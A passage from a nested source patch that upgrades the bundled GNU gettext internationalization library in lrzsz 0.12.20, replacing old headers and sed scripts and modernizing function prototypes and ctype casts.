-+_nl_normalize_codeset (const char *codeset, size_t name_len)
- {
- int len = 0;
- int only_digit = 1;
-@@ -360,11 +374,11 @@
- size_t cnt;
-
- for (cnt = 0; cnt < name_len; ++cnt)
-- if (isalnum (codeset[cnt]))
-+ if (isalnum ((unsigned char) codeset[cnt]))
- {
- ++len;
-
-- if (isalpha (codeset[cnt]))
-+ if (isalpha ((unsigned char) codeset[cnt]))
- only_digit = 0;
- }
-
-@@ -378,9 +392,9 @@
- wp = retval;
-
- for (cnt = 0; cnt < name_len; ++cnt)
-- if (isalpha (codeset[cnt]))
-- *wp++ = tolower (codeset[cnt]);
-- else if (isdigit (codeset[cnt]))
-+ if (isalpha ((unsigned char) codeset[cnt]))
-+ *wp++ = tolower ((unsigned char) codeset[cnt]);
-+ else if (isdigit ((unsigned char) codeset[cnt]))
- *wp++ = codeset[cnt];
-
- *wp = '\0';
-@@ -398,9 +412,7 @@
- to be defined. */
- #if !_LIBC && !HAVE_STPCPY
- static char *
--stpcpy (dest, src)
-- char *dest;
-- const char *src;
-+stpcpy (char *dest, const char *src)
- {
- while ((*dest++ = *src++) != '\0')
- /* Do nothing. */ ;
---- lrzsz-0.12.20.safe/intl/libgettext.h 1998-04-26 09:22:36.000000000 -0400
-+++ lrzsz-0.12.20/intl/libgettext.h 1969-12-31 19:00:00.000000000 -0500
-@@ -1,182 +0,0 @@
--/* Message catalogs for internationalization.
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-- any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
--
--/* Because on some systems (e.g. Solaris) we sometimes have to include
-- the systems libintl.h as well as this file we have more complex
-- include protection above. But the systems header might perhaps also
-- define _LIBINTL_H and therefore we have to protect the definition here. */
--
--#if !defined (_LIBINTL_H) || !defined (_LIBGETTEXT_H)
--#if !defined (_LIBINTL_H)
--# define _LIBINTL_H 1
--#endif
--#define _LIBGETTEXT_H 1
--
--/* We define an additional symbol to signal that we use the GNU
-- implementation of gettext. */
--#define __USE_GNU_GETTEXT 1
--
--#include <sys/types.h>
--
--#if HAVE_LOCALE_H
--# include <locale.h>
--#endif
--
--
--#ifdef __cplusplus
--extern "C" {
--#endif
--
--/* @@ end of prolog @@ */
--
--#ifndef PARAMS
--# if __STDC__
--# define PARAMS(args) args
--# else
--# define PARAMS(args) ()
--# endif
--#endif
--
--#ifndef NULL
--# if !defined __cplusplus || defined __GNUC__
--# define NULL ((void *) 0)
--# else
--# define NULL (0)
--# endif
--#endif
--
--#if !HAVE_LC_MESSAGES
--/* This value determines the behaviour of the gettext() and dgettext()
-- function. But some system does not have this defined. Define it
-- to a default value. */
--# define LC_MESSAGES (-1)
--#endif
--
--
--/* Declarations for gettext-using-catgets interface. Derived from
-- Jim Meyering's libintl.h. */
--struct _msg_ent
--{
-- const char *_msg;
-- int _msg_number;
--};
--
--
--#if HAVE_CATGETS
--/* These two variables are defined in the automatically by po-to-tbl.sed
-- generated file `cat-id-tbl.c'. */
--extern const struct _msg_ent _msg_tbl[];
--extern int _msg_tbl_length;
--#endif
--
--
--/* For automatical extraction of messages sometimes no real
-- translation is needed. Instead the string itself is the result. */
--#define gettext_noop(Str) (Str)
--
--/* Look up MSGID in the current default message catalog for the current
-- LC_MESSAGES locale. If not found, returns MSGID itself (the default
-- text). */
--extern char *gettext PARAMS ((const char *__msgid));
--extern char *gettext__ PARAMS ((const char *__msgid));
--
--/* Look up MSGID in the DOMAINNAME message catalog for the current
-- LC_MESSAGES locale. */
--extern char *dgettext PARAMS ((const char *__domainname, const char *__msgid));
--extern char *dgettext__ PARAMS ((const char *__domainname,
-- const char *__msgid));
--
--/* Look up MSGID in the DOMAINNAME message catalog for the current CATEGORY
-- locale. */
--extern char *dcgettext PARAMS ((const char *__domainname, const char *__msgid,
-- int __category));
--extern char *dcgettext__ PARAMS ((const char *__domainname,
-- const char *__msgid, int __category));
--
--
--/* Set the current default message catalog to DOMAINNAME.
-- If DOMAINNAME is null, return the current default.
-- If DOMAINNAME is "", reset to the default of "messages". */
--extern char *textdomain PARAMS ((const char *__domainname));
--extern char *textdomain__ PARAMS ((const char *__domainname));
--
--/* Specify that the DOMAINNAME message catalog will be found
-- in DIRNAME rather than in the system locale data base. */
--extern char *bindtextdomain PARAMS ((const char *__domainname,
-- const char *__dirname));
--extern char *bindtextdomain__ PARAMS ((const char *__domainname,
-- const char *__dirname));
--
--#if ENABLE_NLS
--
--/* Solaris 2.3 has the gettext function but dcgettext is missing.
-- So we omit this optimization for Solaris 2.3. BTW, Solaris 2.4
-- has dcgettext. */
--# if !HAVE_CATGETS && (!HAVE_GETTEXT || HAVE_DCGETTEXT)
--
--# define gettext(Msgid) \
-- dgettext (NULL, Msgid)
--
--# define dgettext(Domainname, Msgid) \
-- dcgettext (Domainname, Msgid, LC_MESSAGES)
--
--# if defined __GNUC__ && __GNUC__ == 2 && __GNUC_MINOR__ >= 7
--/* This global variable is defined in loadmsgcat.c. We need a sign,
-- whether a new catalog was loaded, which can be associated with all
-- translations. */
--extern int _nl_msg_cat_cntr;
--
--# define dcgettext(Domainname, Msgid, Category) \
-- (__extension__ \
-- ({ \
-- char *__result; \
-- if (__builtin_constant_p (Msgid)) \
-- { \
-- static char *__translation__; \
-- static int __catalog_counter__; \
-- if (! __translation__ || __catalog_counter__ != _nl_msg_cat_cntr) \
-- { \
-- __translation__ = \
-- dcgettext__ (Domainname, Msgid, Category); \
-- __catalog_counter__ = _nl_msg_cat_cntr; \
-- } \
-- __result = __translation__; \
-- } \
-- else \
-- __result = dcgettext__ (Domainname, Msgid, Category); \
-- __result; \
-- }))
--# endif
--# endif
--
--#else
--
--# define gettext(Msgid) (Msgid)
--# define dgettext(Domainname, Msgid) (Msgid)
--# define dcgettext(Domainname, Msgid, Category) (Msgid)
--# define textdomain(Domainname) while (0) /* nothing */
--# define bindtextdomain(Domainname, Dirname) while (0) /* nothing */
--
--#endif
--
--/* @@ begin of epilog @@ */
--
--#ifdef __cplusplus
--}
--#endif
--
--#endif
---- lrzsz-0.12.20.safe/intl/libgnuintl.h.in 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/libgnuintl.h.in 2004-09-12 14:40:34.462731824 -0400
-@@ -0,0 +1,383 @@
-+/* Message catalogs for internationalization.
-+ Copyright (C) 1995-1997, 2000-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _LIBINTL_H
-+#define _LIBINTL_H 1
-+
-+#include <locale.h>
-+
-+/* The LC_MESSAGES locale category is the category used by the functions
-+ gettext() and dgettext(). It is specified in POSIX, but not in ANSI C.
-+ On systems that don't define it, use an arbitrary value instead.
-+ On Solaris, <locale.h> defines __LOCALE_H (or _LOCALE_H in Solaris 2.5)
-+ then includes <libintl.h> (i.e. this file!) and then only defines
-+ LC_MESSAGES. To avoid a redefinition warning, don't define LC_MESSAGES
-+ in this case. */
-+#if !defined LC_MESSAGES && !(defined __LOCALE_H || (defined _LOCALE_H && defined __sun))
-+# define LC_MESSAGES 1729
-+#endif
-+
-+/* We define an additional symbol to signal that we use the GNU
-+ implementation of gettext. */
-+#define __USE_GNU_GETTEXT 1
-+
-+/* Provide information about the supported file formats. Returns the
-+ maximum minor revision number supported for a given major revision. */
-+#define __GNU_GETTEXT_SUPPORTED_REVISION(major) \
-+ ((major) == 0 ? 1 : -1)
-+
-+/* Resolve a platform specific conflict on DJGPP. GNU gettext takes
-+ precedence over _conio_gettext. */
-+#ifdef __DJGPP__
-+# undef gettext
-+#endif
-+
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-+
-+
-+/* We redirect the functions to those prefixed with "libintl_". This is
-+ necessary, because some systems define gettext/textdomain/... in the C
-+ library (namely, Solaris 2.4 and newer, and GNU libc 2.0 and newer).
-+ If we used the unprefixed names, there would be cases where the
-+ definition in the C library would override the one in the libintl.so
-+ shared library. Recall that on ELF systems, the symbols are looked
-+ up in the following order:
-+ 1. in the executable,
-+ 2. in the shared libraries specified on the link command line, in order,
-+ 3. in the dependencies of the shared libraries specified on the link
-+ command line,
-+ 4. in the dlopen()ed shared libraries, in the order in which they were
-+ dlopen()ed.
-+ The definition in the C library would override the one in libintl.so if
-+ either
-+ * -lc is given on the link command line and -lintl isn't, or
-+ * -lc is given on the link command line before -lintl, or
-+ * libintl.so is a dependency of a dlopen()ed shared library but not
-+ linked to the executable at link time.
-+ Since Solaris gettext() behaves differently than GNU gettext(), this
-+ would be unacceptable.
-+
-+ The redirection happens by default through macros in C, so that &gettext
-+ is independent of the compilation unit, but through inline functions in
-+ C++, in order not to interfere with the name mangling of class fields or
-+ class methods called 'gettext'. */
-+
-+/* The user can define _INTL_REDIRECT_INLINE or _INTL_REDIRECT_MACROS.
-+ If he doesn't, we choose the method. A third possible method is
-+ _INTL_REDIRECT_ASM, supported only by GCC. */
-+#if !(defined _INTL_REDIRECT_INLINE || defined _INTL_REDIRECT_MACROS)
-+# if __GNUC__ >= 2 && !defined __APPLE_CC__ && !defined __MINGW32__ && !(__GNUC__ == 2 && defined _AIX) && (defined __STDC__ || defined __cplusplus)
-+# define _INTL_REDIRECT_ASM
-+# else
-+# ifdef __cplusplus
-+# define _INTL_REDIRECT_INLINE
-+# else
-+# define _INTL_REDIRECT_MACROS
-+# endif
-+# endif
-+#endif
-+/* Auxiliary macros. */
-+#ifdef _INTL_REDIRECT_ASM
-+# define _INTL_ASM(cname) __asm__ (_INTL_ASMNAME (__USER_LABEL_PREFIX__, #cname))
-+# define _INTL_ASMNAME(prefix,cnamestring) _INTL_STRINGIFY (prefix) cnamestring
-+# define _INTL_STRINGIFY(prefix) #prefix
-+#else
-+# define _INTL_ASM(cname)
-+#endif
-+
-+/* Look up MSGID in the current default message catalog for the current
-+ LC_MESSAGES locale. If not found, returns MSGID itself (the default
-+ text). */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_gettext (const char *__msgid);
-+static inline char *gettext (const char *__msgid)
-+{
-+ return libintl_gettext (__msgid);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define gettext libintl_gettext
-+#endif
-+extern char *gettext (const char *__msgid)
-+ _INTL_ASM (libintl_gettext);
-+#endif
-+
-+/* Look up MSGID in the DOMAINNAME message catalog for the current
-+ LC_MESSAGES locale. */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_dgettext (const char *__domainname, const char *__msgid);
-+static inline char *dgettext (const char *__domainname, const char *__msgid)
-+{
-+ return libintl_dgettext (__domainname, __msgid);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define dgettext libintl_dgettext
-+#endif
-+extern char *dgettext (const char *__domainname, const char *__msgid)
-+ _INTL_ASM (libintl_dgettext);
-+#endif
-+
-+/* Look up MSGID in the DOMAINNAME message catalog for the current CATEGORY
-+ locale. */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_dcgettext (const char *__domainname, const char *__msgid,
-+ int __category);
-+static inline char *dcgettext (const char *__domainname, const char *__msgid,
-+ int __category)
-+{
-+ return libintl_dcgettext (__domainname, __msgid, __category);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define dcgettext libintl_dcgettext
-+#endif
-+extern char *dcgettext (const char *__domainname, const char *__msgid,
-+ int __category)
-+ _INTL_ASM (libintl_dcgettext);
-+#endif
-+
-+
-+/* Similar to `gettext' but select the plural form corresponding to the
-+ number N. */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_ngettext (const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n);
-+static inline char *ngettext (const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n)
-+{
-+ return libintl_ngettext (__msgid1, __msgid2, __n);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define ngettext libintl_ngettext
-+#endif
-+extern char *ngettext (const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n)
-+ _INTL_ASM (libintl_ngettext);
-+#endif
-+
-+/* Similar to `dgettext' but select the plural form corresponding to the
-+ number N. */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_dngettext (const char *__domainname, const char *__msgid1,
-+ const char *__msgid2, unsigned long int __n);
-+static inline char *dngettext (const char *__domainname, const char *__msgid1,
-+ const char *__msgid2, unsigned long int __n)
-+{
-+ return libintl_dngettext (__domainname, __msgid1, __msgid2, __n);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define dngettext libintl_dngettext
-+#endif
-+extern char *dngettext (const char *__domainname,
-+ const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n)
-+ _INTL_ASM (libintl_dngettext);
-+#endif
-+
-+/* Similar to `dcgettext' but select the plural form corresponding to the
-+ number N. */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_dcngettext (const char *__domainname,
-+ const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n, int __category);
-+static inline char *dcngettext (const char *__domainname,
-+ const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n, int __category)
-+{
-+ return libintl_dcngettext (__domainname, __msgid1, __msgid2, __n, __category);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define dcngettext libintl_dcngettext
-+#endif
-+extern char *dcngettext (const char *__domainname,
-+ const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n, int __category)
-+ _INTL_ASM (libintl_dcngettext);
-+#endif
-+
-+
-+/* Set the current default message catalog to DOMAINNAME.
-+ If DOMAINNAME is null, return the current default.
-+ If DOMAINNAME is "", reset to the default of "messages". */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_textdomain (const char *__domainname);
-+static inline char *textdomain (const char *__domainname)
-+{
-+ return libintl_textdomain (__domainname);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define textdomain libintl_textdomain
-+#endif
-+extern char *textdomain (const char *__domainname)
-+ _INTL_ASM (libintl_textdomain);
-+#endif
-+
-+/* Specify that the DOMAINNAME message catalog will be found
-+ in DIRNAME rather than in the system locale data base. */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_bindtextdomain (const char *__domainname,
-+ const char *__dirname);
-+static inline char *bindtextdomain (const char *__domainname,
-+ const char *__dirname)
-+{
-+ return libintl_bindtextdomain (__domainname, __dirname);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define bindtextdomain libintl_bindtextdomain
-+#endif
-+extern char *bindtextdomain (const char *__domainname, const char *__dirname)
-+ _INTL_ASM (libintl_bindtextdomain);
-+#endif
-+
-+/* Specify the character encoding in which the messages from the
-+ DOMAINNAME message catalog will be returned. */
-+#ifdef _INTL_REDIRECT_INLINE
-+extern char *libintl_bind_textdomain_codeset (const char *__domainname,
-+ const char *__codeset);
-+static inline char *bind_textdomain_codeset (const char *__domainname,
-+ const char *__codeset)
-+{
-+ return libintl_bind_textdomain_codeset (__domainname, __codeset);
-+}
-+#else
-+#ifdef _INTL_REDIRECT_MACROS
-+# define bind_textdomain_codeset libintl_bind_textdomain_codeset
-+#endif
-+extern char *bind_textdomain_codeset (const char *__domainname,
-+ const char *__codeset)
-+ _INTL_ASM (libintl_bind_textdomain_codeset);
-+#endif
-+
-+
-+/* Support for format strings with positions in *printf(), following the
-+ POSIX/XSI specification.
-+ Note: These replacements for the *printf() functions are visible only
-+ in source files that #include <libintl.h> or #include "gettext.h".
-+ Packages that use *printf() in source files that don't refer to _()
-+ or gettext() but for which the format string could be the return value
-+ of _() or gettext() need to add this #include. Oh well. */
-+
-+#if !@HAVE_POSIX_PRINTF@
-+
-+#include <stdio.h>
-+#include <stddef.h>
-+
-+/* Get va_list. */
-+#if __STDC__ || defined __cplusplus || defined _MSC_VER
-+# include <stdarg.h>
-+#else
-+# include <varargs.h>
-+#endif
-+
-+#undef fprintf
-+#define fprintf libintl_fprintf
-+extern int fprintf (FILE *, const char *, ...);
-+#undef vfprintf
-+#define vfprintf libintl_vfprintf
-+extern int vfprintf (FILE *, const char *, va_list);
-+
-+#undef printf
-+#define printf libintl_printf
-+extern int printf (const char *, ...);
-+#undef vprintf
-+#define vprintf libintl_vprintf
-+extern int vprintf (const char *, va_list);
-+
-+#undef sprintf
-+#define sprintf libintl_sprintf
-+extern int sprintf (char *, const char *, ...);
-+#undef vsprintf
-+#define vsprintf libintl_vsprintf
-+extern int vsprintf (char *, const char *, va_list);
-+
-+#if @HAVE_SNPRINTF@
-+
-+#undef snprintf
-+#define snprintf libintl_snprintf
-+extern int snprintf (char *, size_t, const char *, ...);
-+#undef vsnprintf
-+#define vsnprintf libintl_vsnprintf
-+extern int vsnprintf (char *, size_t, const char *, va_list);
-+
-+#endif
-+
-+#if @HAVE_ASPRINTF@
-+
-+#undef asprintf
-+#define asprintf libintl_asprintf
-+extern int asprintf (char **, const char *, ...);
-+#undef vasprintf
-+#define vasprintf libintl_vasprintf
-+extern int vasprintf (char **, const char *, va_list);
-+
-+#endif
-+
-+#if @HAVE_WPRINTF@
-+
-+#undef fwprintf
-+#define fwprintf libintl_fwprintf
-+extern int fwprintf (FILE *, const wchar_t *, ...);
-+#undef vfwprintf
-+#define vfwprintf libintl_vfwprintf
-+extern int vfwprintf (FILE *, const wchar_t *, va_list);
-+
-+#undef wprintf
-+#define wprintf libintl_wprintf
-+extern int wprintf (const wchar_t *, ...);
-+#undef vwprintf
-+#define vwprintf libintl_vwprintf
-+extern int vwprintf (const wchar_t *, va_list);
-+
-+#undef swprintf
-+#define swprintf libintl_swprintf
-+extern int swprintf (wchar_t *, size_t, const wchar_t *, ...);
-+#undef vswprintf
-+#define vswprintf libintl_vswprintf
-+extern int vswprintf (wchar_t *, size_t, const wchar_t *, va_list);
-+
-+#endif
-+
-+#endif
-+
-+
-+/* Support for relocatable packages. */
-+
-+/* Sets the original and the current installation prefix of the package.
-+ Relocation simply replaces a pathname starting with the original prefix
-+ by the corresponding pathname with the current prefix instead. Both
-+ prefixes should be directory names without trailing slash (i.e. use ""
-+ instead of "/"). */
-+#define libintl_set_relocation_prefix libintl_set_relocation_prefix
-+extern void
-+ libintl_set_relocation_prefix (const char *orig_prefix,
-+ const char *curr_prefix);
-+
-+
-+#ifdef __cplusplus
-+}
-+#endif
-+
-+#endif /* libintl.h */
---- lrzsz-0.12.20.safe/intl/linux-msg.sed 1998-04-26 09:20:52.000000000 -0400
-+++ lrzsz-0.12.20/intl/linux-msg.sed 1969-12-31 19:00:00.000000000 -0500
-@@ -1,100 +0,0 @@
--# po2msg.sed - Convert Uniforum style .po file to Linux style .msg file
--# Copyright (C) 1995 Free Software Foundation, Inc.
--# Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
--#
--# This program is free software; you can redistribute it and/or modify
--# it under the terms of the GNU General Public License as published by
--# the Free Software Foundation; either version 2, or (at your option)
--# any later version.
--#
--# This program is distributed in the hope that it will be useful,
--# but WITHOUT ANY WARRANTY; without even the implied warranty of
--# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--# GNU General Public License for more details.
--#
--# You should have received a copy of the GNU General Public License
--# along with this program; if not, write to the Free Software
--# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
--#
--#
--# The first directive in the .msg should be the definition of the
--# message set number. We use always set number 1.
--#
--1 {
-- i\
--$set 1 # Automatically created by po2msg.sed
-- h
-- s/.*/0/
-- x
--}
--#
--# Mitch's old catalog format does not allow comments.
--#
--# We copy the original message as a comment into the .msg file.
--#
--/^msgid/ {
-- s/msgid[ ]*"//
--#
--# This does not work now with the new format.
--# /"$/! {
--# s/\\$//
--# s/$/ ... (more lines following)"/
--# }
-- x
--# The following nice solution is by
--# Bruno <Haible@ma2s2.mathematik.uni-karlsruhe.de>
-- td
--# Increment a decimal number in pattern space.
--# First hide trailing `9' digits.
-- :d
-- s/9\(_*\)$/_\1/
-- td
--# Assure at least one digit is available.
-- s/^\(_*\)$/0\1/
--# Increment the last digit.
-- s/8\(_*\)$/9\1/
-- s/7\(_*\)$/8\1/
-- s/6\(_*\)$/7\1/
-- s/5\(_*\)$/6\1/
-- s/4\(_*\)$/5\1/
-- s/3\(_*\)$/4\1/
-- s/2\(_*\)$/3\1/
-- s/1\(_*\)$/2\1/
-- s/0\(_*\)$/1\1/
--# Convert the hidden `9' digits to `0's.
-- s/_/0/g
-- x
-- G
-- s/\(.*\)"\n\([0-9]*\)/$ #\2 Original Message:(\1)/p
--}
--#
--# The .msg file contains, other then the .po file, only the translations
--# but each given a unique ID. Starting from 1 and incrementing by 1 for
--# each message we assign them to the messages.
--# It is important that the .po file used to generate the cat-id-tbl.c file
--# (with po-to-tbl) is the same as the one used here. (At least the order
--# of declarations must not be changed.)
--#
--/^msgstr/ {
-- s/msgstr[ ]*"\(.*\)"/# \1/
--# Clear substitution flag.
-- tb
--# Append the next line.
-- :b
-- N
--# Look whether second part is continuation line.
-- s/\(.*\n\)"\(.*\)"/\1\2/
--# Yes, then branch.
-- ta
-- P
-- D
--# Note that D includes a jump to the start!!
--# We found a continuation line. But before printing insert '\'.
-- :a
-- s/\(.*\)\(\n.*\)/\1\\\2/
-- P
--# We cannot use D here.
-- s/.*\n\(.*\)/\1/
-- tb
--}
--d
---- lrzsz-0.12.20.safe/intl/loadinfo.h 1998-04-26 09:20:52.000000000 -0400
-+++ lrzsz-0.12.20/intl/loadinfo.h 2004-09-12 14:40:34.468730912 -0400
-@@ -1,9 +1,54 @@
--#ifndef PARAMS
--# if __STDC__
--# define PARAMS(args) args
--# else
--# define PARAMS(args) ()
--# endif
-+/* Copyright (C) 1996-1999, 2000-2003 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+ Contributed by Ulrich Drepper <drepper@cygnus.com>, 1996.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _LOADINFO_H
-+#define _LOADINFO_H 1
-+
-+/* Declarations of locale dependent catalog lookup functions.
-+ Implemented in
-+
-+ localealias.c Possibly replace a locale name by another.
-+ explodename.c Split a locale name into its various fields.
-+ l10nflist.c Generate a list of filenames of possible message catalogs.
-+ finddomain.c Find and open the relevant message catalogs.
-+
-+ The main function _nl_find_domain() in finddomain.c is declared
-+ in gettextP.h.
-+ */
-+
-+#ifndef internal_function
-+# define internal_function
-+#endif
-+
-+/* Tell the compiler when a conditional or integer expression is
-+ almost always true or almost always false. */
-+#ifndef HAVE_BUILTIN_EXPECT
-+# define __builtin_expect(expr, val) (expr)
-+#endif
-+
-+/* Separator in PATH like lists of pathnames. */
-+#if defined _WIN32 || defined __WIN32__ || defined __EMX__ || defined __DJGPP__
-+ /* Win32, OS/2, DOS */
-+# define PATH_SEPARATOR ';'
-+#else
-+ /* Unix */
-+# define PATH_SEPARATOR ':'
- #endif
-
- /* Encoding of locale name parts. */
-@@ -32,27 +77,69 @@
- };
-
-
--extern const char *_nl_normalize_codeset PARAMS ((const char *codeset,
-- size_t name_len));
-+/* Normalize codeset name. There is no standard for the codeset
-+ names. Normalization allows the user to use any of the common
-+ names. The return value is dynamically allocated and has to be
-+ freed by the caller. */
-+extern const char *_nl_normalize_codeset (const char *codeset,
-+ size_t name_len);
-
-+/* Lookup a locale dependent file.
-+ *L10NFILE_LIST denotes a pool of lookup results of locale dependent
-+ files of the same kind, sorted in decreasing order of ->filename.
-+ DIRLIST and DIRLIST_LEN are an argz list of directories in which to
-+ look, containing at least one directory (i.e. DIRLIST_LEN > 0).
-+ MASK, LANGUAGE, TERRITORY, CODESET, NORMALIZED_CODESET, MODIFIER,
-+ SPECIAL, SPONSOR, REVISION are the pieces of the locale name, as
-+ produced by _nl_explode_name(). FILENAME is the filename suffix.
-+ The return value is the lookup result, either found in *L10NFILE_LIST,
-+ or - if DO_ALLOCATE is nonzero - freshly allocated, or possibly NULL.
-+ If the return value is non-NULL, it is added to *L10NFILE_LIST, and
-+ its ->next field denotes the chaining inside *L10NFILE_LIST, and
-+ furthermore its ->successor[] field contains a list of other lookup
-+ results from which this lookup result inherits. */
- extern struct loaded_l10nfile *
--_nl_make_l10nflist PARAMS ((struct loaded_l10nfile **l10nfile_list,
-- const char *dirlist, size_t dirlist_len, int mask,
-- const char *language, const char *territory,
-- const char *codeset,
-- const char *normalized_codeset,
-- const char *modifier, const char *special,
-- const char *sponsor, const char *revision,
-- const char *filename, int do_allocate));
-+_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
-+ const char *dirlist, size_t dirlist_len, int mask,
-+ const char *language, const char *territory,
-+ const char *codeset, const char *normalized_codeset,
-+ const char *modifier, const char *special,
-+ const char *sponsor, const char *revision,
-+ const char *filename, int do_allocate);
-
-+/* Lookup the real locale name for a locale alias NAME, or NULL if
-+ NAME is not a locale alias (but possibly a real locale name).
-+ The return value is statically allocated and must not be freed. */
-+extern const char *_nl_expand_alias (const char *name);
-
--extern const char *_nl_expand_alias PARAMS ((const char *name));
-+/* Split a locale name NAME into its pieces: language, modifier,
-+ territory, codeset, special, sponsor, revision.
-+ NAME gets destructively modified: NUL bytes are inserted here and
-+ there. *LANGUAGE gets assigned NAME. Each of *MODIFIER, *TERRITORY,
-+ *CODESET, *SPECIAL, *SPONSOR, *REVISION gets assigned either a
-+ pointer into the old NAME string, or NULL. *NORMALIZED_CODESET
-+ gets assigned the expanded *CODESET, if it is different from *CODESET;
-+ this one is dynamically allocated and has to be freed by the caller.
-+ The return value is a bitmask, where each bit corresponds to one
-+ filled-in value:
-+ XPG_MODIFIER, CEN_AUDIENCE for *MODIFIER,
-+ TERRITORY for *TERRITORY,
-+ XPG_CODESET for *CODESET,
-+ XPG_NORM_CODESET for *NORMALIZED_CODESET,
-+ CEN_SPECIAL for *SPECIAL,
-+ CEN_SPONSOR for *SPONSOR,
-+ CEN_REVISION for *REVISION.
-+ */
-+extern int _nl_explode_name (char *name, const char **language,
-+ const char **modifier, const char **territory,
-+ const char **codeset,
-+ const char **normalized_codeset,
-+ const char **special, const char **sponsor,
-+ const char **revision);
-
--extern int _nl_explode_name PARAMS ((char *name, const char **language,
-- const char **modifier,
-- const char **territory,
-- const char **codeset,
-- const char **normalized_codeset,
-- const char **special,
-- const char **sponsor,
-- const char **revision));
-+/* Split a locale name NAME into a leading language part and all the
-+ rest. Return a pointer to the first character after the language,
-+ i.e. to the first byte of the rest. */
-+extern char *_nl_find_language (const char *name);
-+
-+#endif /* loadinfo.h */
---- lrzsz-0.12.20.safe/intl/loadmsgcat.c 1998-04-26 09:22:37.000000000 -0400
-+++ lrzsz-0.12.20/intl/loadmsgcat.c 2004-09-12 14:40:34.473730152 -0400
-@@ -1,42 +1,455 @@
--/* Load needed message catalogs
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-+/* Load needed message catalogs.
-+ Copyright (C) 1995-1999, 2000-2004 Free Software Foundation, Inc.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* Tell glibc's <string.h> to provide a prototype for mempcpy().
-+ This must come before <config.h> because <config.h> may include
-+ <features.h>, and once <features.h> has been included, it's too late. */
-+#ifndef _GNU_SOURCE
-+# define _GNU_SOURCE 1
-+#endif
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
- #endif
-
-+#include <ctype.h>
-+#include <errno.h>
- #include <fcntl.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-
--#if defined STDC_HEADERS || defined _LIBC
--# include <stdlib.h>
